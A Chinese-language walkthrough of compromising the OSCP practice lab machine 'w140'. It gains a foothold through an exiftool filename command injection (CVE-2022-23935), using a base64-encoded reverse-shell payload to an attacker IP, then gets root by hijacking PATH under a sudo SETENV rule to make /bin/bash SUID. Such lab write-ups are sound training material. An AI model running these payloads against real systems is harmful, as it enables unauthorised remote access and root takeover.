【OSCP】w140

OSCP 靶场

靶场介绍

信息收集

主机发现

nmap -sn 192.168.1.0/24

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -A -p- -T4 192.168.1.63
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-29 00:33 EST
Nmap scan report for 192.168.1.63
Host is up (0.00094s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 ff:fd:b2:0f:38:88:1a:44:c4:2b:64:2c:d2:97:f6:8d (RSA)
|   256 ca:50:54:f7:24:4e:a7:f1:06:46:e7:22:30:ec:95:b7 (ECDSA)
|_  256 09:68:c0:62:83:1e:f1:5d:cb:29:a6:5e:b4:72:aa:cf (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: w140
MAC Address: 08:00:27:EA:A7:DE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.94 ms 192.168.1.63

目录扫描

┌──(root㉿kali)-[~]
└─# gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.63 -x html,txt,php -e
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.63
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/diectory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.63/.html                (Status: 403) [Size: 277]
http://192.168.1.63/.php                 (Status: 403) [Size: 277]
http://192.168.1.63/index.html           (Status: 200) [Size: 13235
http://192.168.1.63/assets               (Status: 301) [Size: 313] --> http://192.168.1.63/assets/]                                   
http://192.168.1.63/service.html         (Status: 200) [Size: 3417]
http://192.168.1.63/upload.php           (Status: 200) [Size: 3773]
http://192.168.1.63/css                  (Status: 301) [Size: 310] --> http://192.168.1.63/css/]                                      
http://192.168.1.63/manual               (Status: 301) [Size: 313] --> http://192.168.1.63/manual/]                                   
http://192.168.1.63/js                   (Status: 301) [Size: 309] --> http://192.168.1.63/js/]                                       
http://192.168.1.63/.html                (Status: 403) [Size: 277]
http://192.168.1.63/.php                 (Status: 403) [Size: 277]
http://192.168.1.63/server-status        (Status: 403) [Size: 277]
Progress: 882240 / 882244 (100.00%)
===============================================================    
Finished                      

权限获取

上传图片后，发现图片会被转换成exifinfo 信息，并以txt格式输出

从上面exifinfo 信息我们可以看到exiftool的版本信息，通过找到历史漏洞发现该版本存在命令注入漏洞（漏洞原理：如果传递给 exiftool 的文件名以管道字符结尾|并且存在于文件系统上，则该文件将被视为管道并作为操作系统命令执行。）

https://github.com/cowsecurity/CVE-2022-23935

我们尝试在上传文件名的后面增加管道符和命令，可以看到如下上传成功。

我们接着执行如下命令，反弹一个shell

"echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAzLzg5ODkgMD4mMQ==' | base64 -d | bash |"

权限提升

在www 目录下发现存在一张隐藏的图片，下载后发现是一张二维码的图片

使用如下网站读取信息，发现存在一串类似密码的字符串。

https://online-barcode-reader.inliteresearch.com

使用如上密码成功登录到ghost 用户，获取flag

sudo 查看发现可以免密执行/opt/Benz-w140 脚本，可以看到执行脚本的内容中，执行了几个命令。

ghost@w140:~$ sudo -l
Matching Defaults entries for ghost on w140:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User ghost may run the following commands on w140:
    (root) SETENV: NOPASSWD: /opt/Benz-w140
ghost@w140:~$ cat /opt/Benz-w140 
                                                                                                               
#!/bin/bash
. /opt/.bashre
cd /home/ghost/w140      

# clean up log files
if [ -s log/w140.log ] && ! [ -L log/w140.log ]
then
/bin/cat log/w140.log > log/w140.log.old
/usr/bin/truncate -s@ log/w140.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} ;
ghost@w140:~$ 

我们在tmp 下创建find 命令然后写入如下命令，给bash 添加suid 权限。最后指定path 环境，执行sudo命令。

ghost@w140:/tmp$ nano find
ghost@w140:/tmp$ cat find 
#!/bin/bash
chmod +s /bin/bash

ghost@w140:/tmp$ chmod +x find 
ghost@w140:/tmp$ sudo PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /opt/Benz-w140 
/opt/Benz-w140: 4: cd: can't cd to /home/ghost/w140
ghost@w140:/tmp$ ls -all /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash

原文始发于微信公众号（贝雷帽SEC）：【OSCP】w140